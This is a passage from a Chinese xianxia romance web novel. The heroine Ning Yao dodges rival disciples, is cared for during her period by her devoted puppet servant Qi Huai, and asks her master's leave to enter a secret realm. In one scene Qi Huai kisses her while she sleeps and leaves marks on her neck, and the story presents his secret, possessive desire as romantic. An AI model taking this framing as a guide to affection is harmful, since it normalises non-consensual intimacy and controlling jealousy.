宁瑶无语凝噎,抢先唤了声“夜师兄”,满心打算着该如何脱身。 “宁师妹,别来无恙。” 人未至眼前,宁瑶下意识往祁淮身侧靠了靠。脱袜赤足,仪态有失。 话说这人怎么来的天道峰? 祁淮袍袖更加掩住,眸色一沉,把玩在手心之物丢出,一枚石子滚到夜烁卿脚下,他踩上去身形晃了晃,险些栽进潭中。 趁这空隙,宁瑶则起身整理仪态。 待她收拾妥当之际,夜烁卿已堪堪站稳,颇为识趣地别开眼去,“距上次一别,已有一月了。” 宁瑶因方才的尴尬之事,下意识闭了气,脸颊泛着一层浅淡的粉。轻咳一声,低低“嗯”了下,夜烁卿这才转回视线望来。 宁瑶迅速整理好表情,扬出恰到好处的笑:“夜师兄怎么来天道峰了?” 说来他此时不该正围着云冉冉打转吗? ……噢对了,她差点忘了,眼下云冉冉可正陪着洛子晟。 思及此,宁瑶不免有些低气压地郁闷,可千万别在碰上洛子晟了。 “偶然听闻天道峰的这道瀑布有静心凝神之效,便来散散心。”夜烁卿笑着挑眉,一双桃花眼自带三分笑意。可笑意里仿佛藏着什么,目光在宁瑶身上流转不去。 祁淮忽地上前一步,赤足无声,结结实实将宁瑶挡了个严实。 宁瑶不明所以地抬眼,不懂他怎么突然动了。 望着他此刻的姿态,她莫名想起护崽的老母鸡。而自己,活脱脱就是个“手无缚鸡之力”的崽子。 这画面感,配上他那张漂亮得雌雄莫辨的容颜,违和得忍不住扑哧笑出声来,笑着安抚着,轻扯了扯祁淮的衣袖。 祁淮顺着拉扯的衣袖,看向宁瑶扬起惯常无害温良的笑。扭头看向夜烁卿,却微不可察地蹙眉 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“宁师妹,你是火灵根。我于阵法一道尚可,冉冉是天赋卓绝的炼丹师,再加上你们宗门的洛师兄,洛子晟也在。 即便师妹修为稍浅,我们足够护你周全。你可知,他如今已是半步金丹的境界了。” “洛子晟”三字如一道冰锥,刺入她的耳膜。 宁瑶脊背瞬间僵直,指尖掐入掌心,侧眸看向夜烁卿,“什么?” 夜烁卿以为宁瑶动了心,神色顿时扬起意味深长的笑,“冉冉师妹的主意是……” 宁瑶已听不清他后面的话,只觉浑身血液涌上。 她现在绝不是生“记忆”里洛子晟的闷气,反而是心头猛地一沉—— 突如其来的不好预感…… 只见两道流光掠来,落地化作并肩而立的两道人影。 她本能攥紧拳头,呼吸一紧,侧过头看向一旁的傀儡少年。 山雾漫过林梢。 她猝不及防撞进一双漆黑的眸子里,那道视线微挪看向她身旁之人。 23-30 第23章 宁瑶几乎没经思考,在对方还未走近时便踮起脚尖,一把勾住了祁淮的后颈。 祁淮身形明显一僵,呼吸暗自一紧,顺着她的这个动作,垂眸紧紧盯住宁瑶的容颜,她面上闪过一丝慌乱。 漆黑瞳孔里泛起涟漪,他忍不住在她力度上主动倾身凑近一点,嘴唇微张无声,无声的想唤她。 “祁淮,我们走!” 宁瑶忍不住拔高声音,急切地牵起他微凉的手。他手掌很大,很轻易可以回握着、包裹着她的手。 宁瑶都不明白为何急切,无视夜烁卿惊愕的目光,拉着祁淮转身离去。 晚风吹拂着发丝,祁淮则乖乖跟在一旁。 他的眸光暗藏着隐秘的兴奋,止不住地看向两人相牵交握处,似乎体温都在无形中被交换。 宁瑶悄悄地深吸一口气,视线飘忽着不敢看身侧之人。 只盼祁淮没注意到远处的洛子晟,不然…… 虽然祁淮只是个傀儡,但她竟然不止担心被洛子晟看出破绽。 更不敢想象,当这个由她“定制”的傀儡少年,看见那个与他容貌相似的本人时,会作何反应。 指节不自觉地收紧,将祁淮的手握得更紧。 祁淮意外地顺从,甚至没来得及看清夜烁卿所说的那两人。 无关紧要的人,碍眼。 包括夜烁卿,通通碍眼的紧。 祁淮只顾屏住呼吸,目光隐秘又灼灼地注视着她的侧影,眼底翻涌着一丝暗藏的雀跃。 她主动牵他了,主动的,牵得他好紧。 他阴郁潮湿的小情绪,仿佛被一只小猫爪刺破,携着一丝光亮。正来自交握的指尖,来自她温软的掌心。 宁瑶走了好一截,没来由地一阵心虚,这才敢悄悄去瞥祁淮的神色。 少年眉眼低垂,浓密长睫在苍白的脸颊投下浅影,依旧是一贯的乖顺模样。 她忽然回过神来,自己到底在瞎担心什么? 祁淮左右不过是个傀儡,哪有什么真实情绪。就算事后真要解释,他还能与她置气啊。 宁瑶后知后觉地抿紧了唇瓣,她到底在心虚个什么劲儿啊。甩了甩脑袋,将一些不切实际的想法丢掉。 就在这时,身后夜烁卿不甘心,快步上前想拦她,“宁师妹,等等!” 他脚步一动,一直安静跟在宁瑶身侧的挺拔的傀儡掀起眼帘,阴郁冰冷的目光如实质般压了过去。 夜烁卿握着伞柄的手指骤然收紧,一种无形的压迫感如潮水袭来,分明只是个傀儡罢了,他心有不甘地低唤:“宁师妹,他们都已经来了,不然好好商讨一番,若有意见尽管提出来。” 宁瑶实在不想和他们多做纠缠,脸色都逐渐冷下来,带着似有若无的拒绝意味:“情况我知道了,可我有急事,我们先走一步。” 幽深的眸光淡淡扫过夜烁卿抬起的手,祁淮唇角勾起一丝意味不明的弧度,抬手便拂开了碍眼的东西。 “主人既说有事,休要纠缠。” 夜烁卿心头莫名一凛。 傀儡瞧着虽仍是护主姿态,可那看向宁瑶的神情里,总透着一股说不出的古怪。 宁瑶不及细想,攥紧祁淮微凉的手,迅速从储物玉佩中摸出一传送珠,一把捏碎在掌心。 “跑得比兔子还快。” 夜烁卿微微蹙眉,直到另外两人走到近前才回过神,目光仍停留在两人方才消失的地方轻轻流转。 云冉冉凑过来,满脸好奇:“看什么,这么出神?” 夜烁卿收了伞,手指翻转有把玩一玉笛,敲了敲下颌,微眯了眯眼。 他想到方才宁瑶一副溜之大吉的模样,唇角弯起一抹与往日不同的,几分微妙深意的笑:“在看一只逃跑的兔子。” “兔子?”云冉冉声音压低,敏锐地察觉他今日的笑意,似乎比往常真实了不少。 洛子晟淡淡瞥了夜烁卿一眼,他与此人素不相识,便不做提问,却见对方侧眸望来。 两人目光相接的刹那,他心头掠过一丝说不清的困惑。可他素来不是多事之人,便只沉默而立。 “宁师妹与洛师兄关系如何?” 夜烁卿早已摸清两人底细,此刻却故作不知,试探着开口。 洛子晟骤然一僵,因今日与她闹了别扭,以往可是宁瑶眼巴巴的凑到他眼前,今时不同往日,她似乎早已不在意他了。 这番被他有意无意地提醒,洛子晟顿时心气不顺。 可看向夜烁卿的目光不禁带上了几分审视,语气疏离又倔强:“尚可。” * 另一边,灵气的微光散去。 两人稳稳落在早已标记过传送印记的天道峰院落里。 宁瑶身形无力晃了晃,一股莫名滞后的的虚浮感攫住四肢。 她还未站稳,祁淮伸手托住她手肘,指尖在触及她皮肤的瞬间放得极轻地摩挲一下。 “主人为何走得这般急?”他声音惯常的那般标准无害的柔和,眼底却凝着探究的暗光。 “没什么,不想和他组队。”宁瑶扯出个笑来,仰起脸眨了眨亮眸,不动声色转移话题道,“我突然好想吃枣泥糕了,越甜越好,要你亲手做的。” 祁淮忽然俯身逼近,指尖掠过她发梢,拈下一片根本不存在的落叶,指尖借此不着痕迹地摸了摸她的发顶,“好,主人等着便是。” 待那深蓝色人影转去到一旁的厨房,宁瑶立刻瘫在了竹藤躺椅。 她闭眼小憩,眉头微微皱起。 经脉里似有一团火在四处乱窜,宁瑶捂住小腹蜷成“虾米”,疼得没了力气。 她余光瞥向厨房门口,闭上眼,不忘心底腹诽:标配的女主体质,她能不能申请售后啊…… 厨房里,祁淮揉着面团,眼底郁色愈浓。 回忆今日种种,她似有诸多不愿说之处。 蒸笼上白雾未散,他收回目光,转身回到在庭院,但见躺椅上的人脸色惨白。 “血腥味?”祁淮瞳孔一缩,箭步上前将人从摇椅揽进怀里,阴郁戾气瞬间刺破温顺表象。 大意了。 眸光掠过她裙摆时怔住,血腥味正从她身下弥漫开来,裙裾上有洇开的暗红。 祁淮眼底的晦暗被自责取代。 百密一疏,看来往后,他得更加寸步不离。 打横抱起轻飘飘的身躯,祁淮的声音是压抑的颤:“主人,何时受的伤?” 宁瑶处于疼得迷迷糊糊中,顿时感到清凉灵气舒缓着身体上的疼痛。 察觉出有人正在为她解开腰带,这才慌忙睁眼,握住他的手腕,制止他的动作。 抬眸对上祁淮阴郁深邃的眼眸。 分明是傀儡,她偏偏瞧出一丝专注与担忧…… 傀儡,担忧,这两个字眼怎么都不搭。 “别…….”宁瑶小声地抗议,耳根悄悄烧起来,眸光闪躲一瞬。 微凉的手回握她的手腕,祁淮动作顿住,另一手指尖轻柔地绕着她腰间的丝绦,嗓音里压着不易察觉的担心:“主人,伤口必须包扎。” 宁瑶从未见过傀儡少年竟敢违抗她的命令,怔愣间,那人已利落地解开了她外衫的系带。 “不是……”她结巴地乱动,耳尖漫上绯红,急急去拦他的手。 “伤口不可耽搁。”他的语气执拗,指尖已触到里衣的边缘。 宁瑶羞得连脖颈都染上粉色,索性破罐子破摔,往锦被里缩了缩,“是葵水,女子每月都来的那个!”说完她脸颊越发红,反而腾升起一丝委屈。 估摸着是她自己今天泡了冷水脚,身体自然受了刺激。 空气安静了一瞬。 宁瑶脸颊微红,没忍住抬眸,半嗔半瞪祁淮一眼,却发现他身形顿住良久。 怎么半晌一动不动?傀儡死机啦? 祁淮悬在她衣带上的手指僵住,忽然俯身用衾被将宁瑶裹得严严实实。 宁瑶觉得自己瞬间变成一个蚕蛹,还是只能“孤勇”的那种…… 祁淮强忍着什么偏过头去,身上银饰叮叮作响,喉结滚动,藏进袖中的手不自觉地攥紧。 “主人,”他声音低哑得厉害,“我会的。主人躺下休息,我会尽快做出来……那个东西。” 宁瑶从锦被里探出半张绯红的脸,妍丽的亮眸眨了眨。 ——你又会什么啊? 不过这话宁瑶难以启齿,问不出口,唇瓣翕动,干脆软绵绵瘫在床榻上,含糊嘟囔:“那随你好了,今日之事可万万不能说出去……” 祁淮指尖虚虚掠过她苍白的脸颊,转身时几乎险些被自己的步子绊倒一下。 堪堪稳住身形,在屋内站定。 呼吸莫名急促,掌心按上突然失控的心口。 身躯本是轻缓放慢的心率,竟愈发鲜活了。 这般陌生的悸动,他并不讨厌。 撩袍在木制圆桌前坐下,腕间一条黑蛇悄然探出身子,竖瞳好奇地盯着他取出的布料,一副要亲眼看他如何缝制女子私物。 “安分些。” 祁淮耳尖微烫,屈指将蛇头按回袖中,回头确认宁瑶仍阖着眼,才展开几匹软缎。 书中图示虽看过,真动手时针脚仍显生疏,银针在烛火下牵出细光,祁淮缝得格外专注。 他善用银针石针,用它们杀过人自是得心应手,却第一次用它缝制月事带。 黑蛇从袖口游上桌案,尾巴尖悄悄指向床榻。 “怪怪,回来。”他压低的声音里满是警告。 唤着的还是宁瑶取给它的名字。 一听这名字,黑蛇虽悻悻盘回他的手腕,只探出脑袋偷觑,却忍不住摆来摆去蛇尾,赤瞳透着几分人样的得意。 祁淮手下银针不停,心神早飘向宁瑶那处。 不知她可好些了? 余光瞅着床榻上的倩影,见她小憩中都皱着秀眉,心脏跟着一紧。 一滴献血倏然冒出。 祁淮看着银针不小心扎破的手指,冒出的血珠滚落在了条形布料上,耳尖倏地浮现一丝别样的薄红。 赶紧将被他污染过的东西放在一旁,重新取一布料裁剪缝制。 宁瑶缓过劲,缓慢睁眼,正见少年就着烛火缝制月事带。 心口像是突然塌陷一块,一时鼻头酸酸的,唇瓣微张,倒底将最后一丝羞涩咽下。 公主娘亲当年,手把手教她女红的记忆都翻涌上来…… “谢谢你,祁淮。”宁瑶亮眸含笑,眨了眨眼,看着他时满是谢意的微光。 祁淮闻声抬头,立马将成品捧到她眼前:“主人要不现在试试看?” “这么快?”宁瑶撑起身接过五条月事带,她不过睡了一会的功夫,他居然做了这么多。针脚虽不甚齐整,却密密实实缝了四层。 此刻,这漂亮的傀儡少年,便一副献宝似地望着她。 “做的很好,是我、我见过最精致,真的!”她夸完飞速溜下床榻,莹白耳垂染上可疑的红,提裙赶紧得转入屏风后。 倒叫祁淮看得新奇。 小猫害羞了,原来也是这般有趣。 宁瑶垂头摩挲着手里的柔软布料,似乎还残存少年手底微凉的温度。 好在修炼之人,月事比常人短得多。长不过两日,短则半日即无。 深吸一口气,她压下脸上的热意,待收拾妥当从屏风后转出来,少年已端着刚出锅的枣泥糕立在桌边。 热腾腾的甜香扑鼻而来,勾得宁瑶肚里的馋虫轻响,加快脚步走到桌前,“好香啊。” “主人,枣泥糕做好了,看尝尝看。” “没有你我可怎么办啊。”她笑着坐下,单手支着下巴,信手拈起一块酥软的枣泥糕,糕点带着刚刚好的暖意。 抬眼见祁淮沉默地侍立的样子,心头一软,手中糕点递了过去。 “辛苦你了,祁淮,坐下来一起吃吧。” 眼见她将糕点递到唇边,他低头小心地咬上一小口,目光始终一瞬不瞬地凝在她脸上笑颜上。唇角轻扬,眼底是得逞的亮光。 “主人,往后的奖励都能这样吗?” 呼吸看似无意拂过她的指尖,抿唇延长唇瓣上存留的一丝她的温度。 宁瑶指尖微微一颤,摩挲着指尖挥之不去的气息。 ——真是好奇怪。 似是想到什么,转念一笑,“可以,不过只是喂你吃糕点,这算不上什么奖励。” 她边说边取出荷花底样的储物袋塞给他,“这才算。放心‘品尝’,主人有的是。” 祁淮歪头时,发辫系着的小铃铛清脆一响。 不用猜也知道,里头塞的是灵石。 自从上回察觉他灵力有异后,宁瑶就总忧心他缺灵力用,变着法子给他送灵石。 宁瑶咽下最后一口糕点,便蜷回榻上。 她依旧捂着肚子,闭目蹙眉,仿佛霜打的娇花,让人忍不住呵护这惹人怜惜的小模样。 祁淮呼吸微滞,待宁瑶呼吸渐匀,悄无声息地坐上榻沿。 隔着一层锦被,他的掌心运起温润的灵力,不轻不重地揉着她的小腹。 “书里说,这样主人会舒服些。”祁淮学得极快,指尖灵力流转,果真见宁瑶拧着眉头渐渐松开了。 “嗯,很对……”宁瑶含糊地咂咂嘴,意识已陷进梦境里。 “还疼吗,主人?”祁淮俯身贴近她耳畔,气音轻得似叹息,手上动作却依旧不停。 他知道宁瑶已经回复答不了他的问题了,早已睡得不知今夕何夕。 宁瑶迷迷糊糊地翻了身,主动蹭近他的腰身。 祁淮指尖一顿,缓缓上移,抚过她温热的脸颊。他忽然低头,凉意的唇瓣轻轻印在她眉心间,停留许久才退开半寸。 暗沉的目光下移,黏在了那微张的唇瓣上。 这里,这里他不曾触碰过。 宁瑶微微张开小口,隐约透出柔软的嫣粉,随着每一次呼吸微动。 祁淮啄吻在她的耳垂,视线盯着那里。 似乎一种无形的诱惑,哄着他的一切心神紊乱,他的手指轻轻摩挲一下腰间四角铃铛,妄图冷静地撇开眼。 然后最终他半是犹豫地俯身下去,在触及唇瓣的前一秒顿住。 他想起,住在苗疆竹楼时隔壁的阿姐。她与夫君总是如胶似漆,亲密无间。 有次他从篱笆外无意经过,恰好看见两人脸红靠在一起,男人会低头轻轻吻她的面颊,两人笑着拥抱在一起,脸上洋溢地应该说的上是“幸福”的笑。 他不懂,为何触碰脸颊,会让人连眼尾泛红。 他也不懂,此事有何好愉悦的,真是愚蠢至极…… 可现在他就要做这蠢事…… 一眨不眨地望着近在咫尺的地方,距离之近,已是呼吸交缠。 她现在不舒服,是不是只有这样做,也能让她舒服些…… 让小猫感觉到“幸福”。 祁淮俯身单膝抵在床沿,双手撑在她耳侧,将人困于方寸之间。 嗓音里是抑制不住的新奇,饶有兴趣地盯着她的唇,“这种滋味,要尝过才知晓……” 祁淮低头,呼吸交缠,极轻地含住两片柔软。 触电般的战栗,瞬间窜遍他的全身。 比想象中更甜。 让人贪恋的甘美。 本以为留下他的印记,便是最有趣、最满足之处,原来宁瑶的“这里”,更是惹得人呼吸纠缠不清。 祁淮昳丽的容颜上扬起一抹略显病态笑意,恶劣地歪头,想要将此刻无线延长。 循着本能垂首吮吸一口,这个无意掠夺空气的动作,惹得宁瑶闭着眼乱动一下。 意识到这一点,祁淮微微退离一点。 他充满好奇地,研究欲地,本能地,重新含上去两片柔软。 两人的灵气不自觉交缠在一起。 他动作愈发深入,带着几分生涩的凶狠,竟无师自通地撬开她紧闭的唇关。 心跳从低缓到急促,擂鼓般,震得他发颤,祁淮惊得后退半寸。 唇瓣残留着宁瑶炙热的温度,他忍不住用指腹反复摩挲这一抹湿润。 最后伸出舌尖轻轻舔过下唇,眯起的眼睛里闪着晦暗的光。 这里,似乎红了点…… 刚刚太用力了。 肿了的话,会不会被她发现? 意识到这一点,他嘴角扬起略带神经质病态的笑。歪着头故作思索,发间的小铃铛随之晃出一串清响。 漆黑眸子,视线却牢牢盯紧她的睡颜,偏头轻啄吻在她的唇角。 湿软的触感游移,他极轻地吻上后颈,直到在那片肌肤上留下清晰的印记。 他心满意足地抬起眼眸,将怀里的人抱得更紧。 宁瑶舒服入睡,沉入梦境时做了一个怪诞的梦。 梦里那朵行走不了的灵花,被外力不轻不重亲一下,她的花瓣就忍不住颤抖一下。 她想要光合作用,她想要空气,偏偏事与愿违,反而被反过来舐夺她的气息。 怪异的触感还时不时安抚她的枝叶,这让她体内不安分的热意,一一转变为暖融融的感觉,裹紧了全身,让她有些晕乎乎的沉浸了下去。 体内的疼似被无意中安抚,心跳有些突兀地加快。 祁淮指尖轻抬,周身禁不住外溢躁动的的灵气,如被驯服般收敛。而后身影一闪,无声无息地隐入夜色,去查探白日里那桩蹊跷事。 可惜一无所获。 远不似苗疆的虫有灵气,那般与他心意相通。 他早先布下的蛇虫仍在天道宗的几座山林间适应,看来此事,终究急不得,得徐徐图之。 倒是今日夜烁卿口中所说的那两人,究竟是谁? 他想起夜烁卿提及时,宁瑶神色有意,似乎格外上心与在意。 祁淮眼底掠过一丝晦暗幽光,既已出来,他便不急于回去了。 唇角弯起一抹危险的弧度,不如,就先会会这夜烁卿。 月色如水,祁淮如鬼魅般避开阵峰弟子的巡查,悄无声息地潜至院落。 门前阵法果然玄妙,他足尖轻点星辰位,身形如蝶穿梭,闪转腾挪,一个鹞子翻身,轻盈落在屋顶上。 银饰在夜风中纹丝未响。 他指尖压了压兜帽,面具早已换作寻常样式,指尖轻弹放出小黑蛇。 小家伙扭着身子,朝主屋游去。 屋内的夜烁卿正盘膝入定,忽觉异动。睁眼便见一条巨蛇迎面扑来,惊得他旋身后撤:“这么大?!” 袖袍翻飞间,院中古柏拔地而起,万千枝叶簌簌化作利刃。 黑蛇瞬间缩成指粗,灵巧躲过漫天飞叶。 祁淮在檐角微微眯眼,眼见动静闹大了,指尖一勾便将小东西召回袖中,如来时般悄无声息地隐入夜色。 夜烁卿挥袖点亮烛火,只见屋内一片狼藉,而那罪魁祸首早已溜之大吉。 * 清晨的阳光透过窗棂。 宁瑶睁开眼,困得坐起身,直打哈欠,眼角沁出生理泪花,仿佛昨夜梦里与人打了一架。 她揉揉眼睛,看向静立一旁的祁淮。 少年眸光幽深,悄无声息地掠过她手腕、后颈,最终定格在唇畔,那里还有极淡的红。 “发什么呆呀?”宁瑶被他看的莫名,动作自然地伸长胳膊。 祁淮心领神会将她打横抱起,指尖系衣带时在腰侧多停留一瞬。 梳洗完毕,他执起木梳,“今日换个新样式。” 宁瑶的发丝蓬松柔软,带着似有若无的馨香,披散时露出脖颈白皙,指腹若有似无擦过她后颈未消的印记。 披散乌亮长发,在祁淮的手中有了新模样。当最后一只珠花别进鬓边,宁瑶对着镜子眨了眨亮眸,满眼都是对自己新发型的欣赏。 双丸子髻俏皮地坠在耳侧,几缕小辫子缀着银蝶,随着她转头振翅,半披的乌亮长发随意披散在背后恰好及腰。 “好看吗?”祁淮忍不住看向她嘴角上扬的弧度,像一只慵懒随性的猫,此刻便是满足微眯着眼,对自己极为满意。 宁瑶视线这才聚焦看向镜中的他,笑嘻嘻赞叹道:“好看。” 他忽的弯唇一笑,带了几分真切意味,又怕她察觉便眼睫半垂看似整理她的发丝,“主人,准备好早膳了。” 宁瑶一听见吃食,眸子倏地亮了起来。 走出门外,目光停留在庭院石桌的清粥包子上挪不开,竟有她前几日随口提过的豆浆、油条。 祁淮这人真是好得过分。 她提裙走去故作矜持,坐下来赶紧咬了一口酥脆的油条,满足地晃着脚尖。 心里禁不住嘀咕:难怪现代时候总有人嚷嚷“一户一AI”,还有什么倡导“一户一纸片人”。若是这些要是能活过来,大概就是祁淮这副模样罢。 她笑着朝立在身旁的少年招手,“坐下一起吃呀,别客气,都是你做的,可不能浪费。” 祁淮刚要像上次那般凑近讨喂,她却已利落地把油条往他唇边一递,见他怔地咬住,自己低头还啜了口温热的豆浆。 少年叼着油条低笑,顺从地落座,咀嚼时目光始终缠绕在她身上。 只见宁瑶先把青菜包子拨到一边,捧着肉包小心翼翼咬开。汤汁微微迸溅的刹那,她便满足地弯了亮眸,眸中漾起的笑意,比天边月牙还清亮。 虽说修仙之人讲究辟谷,宁瑶从来不管这些规矩。 若真让她吞那没滋没味的辟谷丹,不过半日就会蔫耷耷地蹭过来。虽不开口对他说,那双会说话的眼睛仍是直勾勾盯着他,分明在说“快给我做饭”。 而她吃东西极有意思,碰到合心意的就眼睛发亮。 若见着不爱吃的,立刻蹙起鼻尖,但又怕他发现似的,支着下巴,故作摸了摸脑袋遮掩。可满脸都写着,“这么多菜叶子,肉呢,我要吃肉”。 宁瑶浑然不觉自己那点“小动作”,早已被身旁少年一丝不落地瞧了去。 她满足地弯唇,歪着头看祁淮利落地收拾碗筷。 晨光落在他周身,随着动作,银饰响着悦耳的叮当声。 少年收拾妥当,又去侍弄院中花草。 “这些花昨日我瞧着只长出花苞,今日就开花了。”宁瑶看着他正在浇水一种雪白六瓣花,形似兰花,却透着说不出的妖异。 “是啊。”祁淮指尖轻轻抚了抚花瓣,似是有意地把玩,又似无意地抚弄。 宁瑶本来支着下巴,懒洋洋地打着哈欠,此刻浑身一僵,陡然想到昨夜的梦。 不知为何联想到了,她的心乱了一瞬,慌忙错开视线,好奇追问:“这些都是什么花?” “驱蚊的,净灵的。”祁淮漫应着,目光却从花瓣移向她的侧脸,“随便种着玩。” 宁瑶点点头,倒没干涉他这些小小癖好。横竖祁淮的出发点,总不会存心害她。 她在不大的院落里溜达消食,等平复完饱意才回屋打坐。 自身体觉醒九幽灵火体质后,修为从练气二层直窜到四层,简直堪比坐飞剑般迅捷。 想想她六岁觉醒了五灵根,二八年华才不过练气二层。 想到即将开启的天一秘境,宁瑶睁开清亮的眼眸。 是时候打听些情报了。 从入定状态缓缓回神,稍作整理便准备去寻青川问个究竟。 “主人。” 宁瑶闻声回头,只见她的傀儡,不知何时又跟到了身后。 他垂着眼睫站在那儿,身上铃音轻响,像只被丢弃过的小兽,眼神里似藏着无声的诱哄。 “好啦,一起走。”她心软地点头。 传送的微光散去,宁瑶带着祁淮轻车熟路地往前走。 此处正是天道峰山脚处,依山势而建的建筑群巍峨绵延,正坐落于几座山峰交汇之处,这些建筑便是天道宗的书院。 作为外门弟子听道受业之所。 每周有三日由各峰长老轮流授课,偶有关门弟子代师授课。 此处所授可谓包罗万象,从符箓阵法到灵植驯兽,简直堪称修仙界的“德智体美劳全面发展”。 按理说宁瑶作为宗主亲传,本不必来此修习。 除了听师父和师兄们讲道,她其实大多时间都窝在自己的一亩三分地钻研卷轴和自己的火系功法。 可觉醒了现代记忆,深知“技多不压身”的道理,多掌握些总没坏处。 所以,这几日她常溜去蹭课,去找大师兄路上遇见几个面熟的弟子,笑着同她打招呼。 祁淮安静地跟在宁瑶身后半步,长睫低垂,投下浅淡阴翳。 指尖无意识摩挲着腰间四角铃铛,将那点说不清道不明的幽怨阴翳藏起。 宁瑶来后,坐在石台上,从此处可看向修炼的演练场,青川正在耐心地教授新入门弟子剑法。 授课结束的青川看见熟悉的鹅黄色身影,他走过去,“小师妹今日怎么得空过来?” 清冷的神情触及宁瑶目光时融化,嘴角弯起温柔的弧度。 宁瑶灵活地跳下石台,笑着拽起青川的袖子就往安静之处钻:“师兄这边走,我有正经事请教。” 祁淮盯着两人拉扯的位置,不知为何泛起了一股从未有之的酸意。指腹止不住地摩挲腰间四角铃铛,迈开长腿一跟,就轻松追上了。 宁瑶请青川在石凳坐下,双手托腮,笑盈盈问:“大师兄,其实我是听闻了天一秘境才来的。关于天一秘境,大师兄知道多少?” 青川执壶的手几不可察地顿了顿,“师妹倒是消息灵通。” 他轻笑着,给彼此各斟了一杯茶,执杯轻抿一口,“既然你问起,师兄也不瞒你。这天一秘境乃天道宗的祖师爷所创,里头机缘都是他老人家亲自放置的。开放五日,地图虽流传开了,但每隔六年里面便变化一次,所以地图并无用。” 想到什么,他声音压低,“原本不算凶险,但近日宗门捉了不少作乱的妖兽投入其中。师尊特意交代了……” 话音到此,青川停顿了一下看向宁瑶,“让你等下一次开启再进入。” “为什么啊?”宁瑶睁圆眼睛,困惑地晃了晃杯盏的茶水,看着里面的摇晃的倒影心绪不稳。 青川轻摇头,“师尊的考量,总归有他的道理。” “师兄下次陪你去找更好的机缘。”见宁瑶沮丧得快掉毛似的,青川终是没忍住伸出手,想揉了揉她的发顶安慰。 祁淮指节倏地收紧,在青川即将触到宁瑶发梢的瞬间,抬手轻松拦住了对方的手臂。 幽深的眸光看向他,似有若无的敌意。 空气骤然凝滞。 在场三人中,两人同时屏住呼吸。 一是祁淮。 二是在他一旁的宁瑶。 宁瑶困惑地侧头看向少年。 祁淮这才松开手,连退两步垂眸而立,又变回那副安静乖顺的模样。 唯有无人可知的袖口之下,攥紧的拳头在微微发颤,泛白的指尖陷入掌心。 “师兄,我明白啦,这就去找师尊问个清楚。”她轻扯祁淮衣袖,傀儡少年就顺从地跟上。 青川疑虑地目光在祁淮背影身上扫过,带着面具看不清容貌,行为举止,为何不像傀儡?莫非真是护主心切? 待宁瑶拉着他转过回廊,彻底远离青川视线,宁瑶才凑近打量他:“刚才怎么回事?” “他要碰主人。”祁淮声音闷闷的,心头郁闷宣泄不出。 “啊?” 宁瑶虽不理解,转念思索傀儡这死物,毕竟与人不一样。 她安抚一笑,开口解释:“师兄他不是要伤害我,只是习惯性揉头发的动作。” “习惯性”三个字眼,无声地刺痛了什么,祁淮面上标准无害温良的浅笑有些僵硬,默默咬了咬后槽牙。 他垂下眼睫,看似乖顺地点点头,可在宁瑶转身的刹那,幽深的目光如同蛛网,细细密密缠绕在她的背影上。 他不喜欢。 头一次,他知晓“不喜欢”三字的含义。 苦涩无味,却仍是剧毒般绕在唇齿。 宁瑶只觉得分外奇怪,心里直犯嘀咕:祁淮最近护主护得实在蹊跷,让她捉摸不透。 捏诀启动传送阵,她带着祁淮马不停蹄地去天道峰主殿问事。 巧的是,自家师尊正与荷钰长老站在说着话。 荷钰长老是丹峰峰主,面容冷肃,骨相大美人一个。今日她穿了身紫粉渐变的长裙,罕见柔和的色调,勉强中和了她周身迫人的威压。 宁瑶扬起笑脸,行了个礼:“弟子见过师尊,见过荷长老。” 荷钰对于岳伍这小徒弟莫名说不上来的冷意,尤其看到这张脸,每每瞧见都勾连起一些不愉快的回忆。 她强压下心头那点微妙情绪,勉强扯出一抹笑,却不知自己此刻的笑容有多僵硬。 “免礼,宗主既然你徒弟来了,我便先告辞了。” 宁瑶被她那比哭还难看的笑惊得心头一跳,不知道作何表情回应,忙不迭低下头。 荷钰无奈,拂袖转身时带起一阵香风。忍不住抬手摸了摸脸颊,心下叹息。 ——这笑还不如不笑呢,怕是又吓着人了。 岳伍目送荷钰离去,捋了捋乌黑的长须,转向宁瑶时,面上带上慈色:“瑶瑶来了啊。” 宁瑶立刻扬起笑脸:“师尊,徒儿有一事相求。” “说吧。”岳伍含笑看着她。 “师尊,我想去天一秘境。” 见岳伍神色微变,走到主位坐下。 宁瑶眼神坚定,上前笑着给他捏了捏肩头,眨了眨眼:“师尊,我保证能保护好自己,就让我去吧。” 岳伍沉吟片刻,见她眉眼间尽是坚定,知道再劝也是无用,叹了口气。 语气温和却郑重:“既然如此,你便去吧。此次秘境探索,宗门会给每位弟子发放传送珠,若遇危险,切记以保全自身为重,万万不可逞强。” 宁瑶眼睛一亮,笑着应道:“知道啦。”说完便行了一礼,脚步轻快,转身离去。 望着她雀跃的背影,岳伍无奈地摇了摇头,眼中却难掩关切之色。 宁瑶踏出主殿,就看见祁淮负手立在玉阶之下。 见她出来,比起先一步亮起的眼睛,是他先一步唇角微勾,“主人,是可否办妥?” “办妥,走吧。”宁瑶欢快地蹦跳着下台阶,脚步不自觉地加快。 回到住处后,祁淮轻车熟路开始收拾东西,将各类丹药符箓分门别类放入她的储物玉佩。 几日后,一道灵信千纸鹤翩然而至,宁瑶捏在掌心阅读完无语了一瞬。 婉拒了夜烁卿又一次同行的邀请,算是过了几天清静日子。不用应付男二,修炼都轻松了不少。 最近也有一件怪事,她去室外听岳伍授课,总是遇上洛子晟。 她以为以洛子晟的脾气,在皇城时为了云冉冉说完那番决绝的话语,就是与她划清界限。 自从上次乌龙事后,近些时日祁淮不会寸步不离地跟随她。正好喊他在家守着,才避免了他与洛子晟碰面的尴尬场面。 宁瑶竟也不知为何,自己竟会有种长松了一口气。 这滋味,真的有些莫名惊险。 距离天一秘境开启还有两日,宁瑶这段时日抓紧修炼,刚走到天道峰灵瀑附近,被扑面而来的寒气激得打了个哆嗦。 洛子晟正在瀑布前修习冰系法术,水流在他掌间凝结成晶莹的冰凌。 她当即转身想溜,却不料被岳伍逮个正着。 只得硬着头皮选了处最远的石台坐下,静心凝神练习御火术。 经过这段时间勤修,宁瑶已能娴熟地将灵火在指尖幻化成各种形态。 正当她沉浸在这种心流状态,浑身舒畅之际,身旁突兀传来一道清冷的嗓音:“不错。” 宁瑶抬眸似有所感侧眸看向浅蓝色长袍的洛子晟,他不知何时看了过来,眸光与祁淮不一样,他眸光很冷透着天才的傲气。 不过他确实是天才,这无可厚非。 宁瑶假装没听见没看见,指尖火焰跃动得更快了几分,继续修炼,就见洛子晟抬脚朝这边走来,顿时如坐针毡。 过去这两日,他们井水不犯河水,连半句话都未曾说过。 宁瑶正欲起身,一只蓝蝶翩然栖在她的发顶。 